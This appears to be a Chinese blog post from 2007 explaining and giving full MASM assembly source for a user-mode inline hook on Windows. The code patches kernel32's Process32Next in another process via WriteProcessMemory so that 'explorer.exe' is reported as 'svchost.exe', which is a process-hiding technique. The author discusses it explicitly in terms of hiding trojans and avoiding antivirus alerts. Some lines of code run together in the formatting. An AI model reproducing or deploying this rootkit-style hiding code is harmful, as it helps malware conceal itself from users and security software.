应用层InLine Hook
我的思路:
1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.
5.把真正的API开头的指令改为JMP到我们的假函数中.
1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量
2.如何防止重复HOOK.
3.假函数写在目标DLL的哪儿比较适合.
看了网上不少公开的文章后写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导致象我这样的HOOK并不是全局的,要实现全局的要不是举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上面第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.
comment %
                #--------------------------------------#          #
              #  UserLand InLine Hook          -->      #       #
            #    -->Hook Process32Next(only a Demo)       #   #
          #                      2007.03.10                 # 
            #                    codz: czy                #   #
             #------------------------------------------#      #
system :test on XPSP2cn
%
.586
.model flat,stdcall
option casemap:none
include     ../include/windows.inc
include     ../include/user32.inc
includelib  ../lib/user32.lib
include     ../include/kernel32.inc
includelib  ../lib/kernel32.lib
include     ../include/shell32.inc
includelib  ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline  db 'Hook Process32Next Hide Process:)',0
sztext  db '.text   ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf  db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
  local @szBuffer[1024]:byte,@szSectionName[16]:byte
 
        mov esi,_lpPeHead
  assume esi:ptr IMAGE_DOS_HEADER
        add esi,[esi].e_lfanew
  mov edi,esi
  assume edi:ptr IMAGE_NT_HEADERS  movzx ecx,[edi].FileHeader.NumberOfSections
  add edi,sizeof IMAGE_NT_HEADERS
  assume edi:ptr IMAGE_SECTION_HEADER
  .repeat
   push ecx   invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
   push esi
   push edi
   mov ecx,8
   mov esi,edi
   lea edi,@szSectionName
   cld
   @@:
   lodsb
   .if ! al
    mov al,' '
   .endif
   stosb
   loop @B
   pop edi
   pop esi            invoke lstrcmpi,offset sztext,addr @szSectionName
            .if eax == 0
      push [edi].VirtualAddress
      pop eax
      ret
   .else
   add edi,sizeof IMAGE_SECTION_HEADER
   .endif   pop ecx
  .untilcxz
  assume edi:nothing
  ret
_ProcessPeFile endpGetShell32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte
        mov     modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo
        .while eax
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset kernel32,ecx
        .if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw     
        invoke CloseHandle,hSnapshot
       
                ret
GetShell32Base   endp
InlineHook  proc
    LOCAL   hProcess:dword
    LOCAL   hKernel32:dword
    LOCAL   hAPI:dword
    LOCAL   PID:dword
    LOCAL   ModBase:dword
    LOCAL   OLDpro:dword
    LOCAL   CodeBuf[128]:byte
    LOCAL   optable[2048]:byte
    LOCAL   codelen:dword
    LOCAL   APIoffset:dword
    LOCAL   hAPI2:dword
    LOCAL   pHookFun:dword
    LOCAL   hooklen1:dword
    LOCAL   hookfunlen:dword
   
    lea  eax,optable
    push eax
    call disasm_init
    invoke  LoadLibrary,offset kernel32    mov     hKernel32,eax
    invoke  _ProcessPeFile,hKernel32    mov     VirtualAddress,eax    invoke  GetProcAddress,hKernel32,offset P32First    mov     hAPI,eax
    mov     eax,hKernel32
    add     eax,VirtualAddress    mov     ecx,hAPI
    sub     ecx,eax    mov     APIoffset,ecx
    invoke  GetCurrentProcessId
    mov     PID,eax
    mov     eax,9504
    mov     PID,eax
    invoke  GetShell32Base,eax
    mov     ModBase,eax    add     eax,VirtualAddress    add     eax,APIoffset    mov     hAPI2,eax
    invoke  OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
    mov     hProcess,eax
    invoke  ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
    lea     esi,CodeBuf
    xor     edi,edi
@@nextcode:
    push esi
    lea  eax,optable
    push eax
    call disasm_main
    .if eax !=-1
        add edi,eax
        .if edi>=5
        mov codelen,edi        jmp @@findok
        .else
        add esi,eax
        jmp @@nextcode
        .endif
    .else
    xor eax,eax
    ret
    .endif
@@findok:    mov     eax,ModBase
    add     eax,VirtualAddress
    sub     eax,512
    mov     pHookFun,eax
    invoke  VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro    mov     ecx,@@hookbeg
    mov     eax,@@fakeret
    sub     eax,ecx
    mov     hooklen1,eax    mov     ecx,@@hookbeg
    mov     eax,@@hookfunend
    sub     eax,ecx
    mov     hookfunlen,eax    mov     eax,@@hookbeg
    invoke  RtlMoveMemory,offset HookFunBuf,eax,hookfunlen    invoke  WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0    mov     ecx,pHookFun
    add     ecx,hooklen1
    sub     ecx,21
    invoke  WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     edx,ecx
    sub     ecx,5    mov     eax,hAPI2
    sub     eax,edx
    add     eax,codelen
    mov     edx,offset JMPCODE2
    inc     edx
    mov     [edx],eax
    invoke  WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     eax,offset HookFunBuf
    add     eax,hooklen1
    mov     edx,hookfunlen
    sub     edx,hooklen1
    invoke  WriteProcessMemory,hProcess,ecx,eax,edx,0    mov     eax,pHookFun
    sub     eax,hAPI2
    sub     eax,5
    mov     ecx,offset JMPCODE
    inc     ecx
    mov     [ecx],eax
   
    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
    invoke  WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
    invoke  CloseHandle,hProcess
   
    invoke  MessageBox,0,offset inline,offset inline,1
   
            ret
InlineHook  endp
@@hookbeg:
push [esp+8]push [esp+8]jmp  @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90hsomenop2 db 90h,90h,90h,90h,90h@@fakeret:
call @@setretsub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
    add edx,36
    mov eax,[edx]
    mov ecx,[edx+4]
    .if (eax == 'pxei')&&( ecx == 'erol')        mov eax,'hcvs'
        mov [edx],eax
        mov eax,'.tso'
        mov [edx+4],eax
        mov eax,' exe'
        mov [edx+8],eax
    .endif
.endif
popad
add esp,8ret 8@@hookfunend:
start:
    invoke  MessageBoxA,0,offset inline,offset inline,1
    invoke  InlineHook
    invoke  ExitProcess,0
include     \masm32\include\lde32bin.inc
end start
目前我这个思路只用写一次被HOOK的函数就OK了.下面点评一下网上公开的一些方法:
1.有些方法写被HOOK的函数次数为(N*2)+1次,N为调用次数,会遇到多线程的问题,不稳定.
2.有些方法也只用写一次,不过要保存和替换返回地址.替换好计算,但保存是个问题?保存在哪儿哩
栈头不稳定,代码段同样有多线程的问题.
3.还有些方法没用反汇编引擎计算被JMP替换的指令长度,也许会有指令没对齐的问题.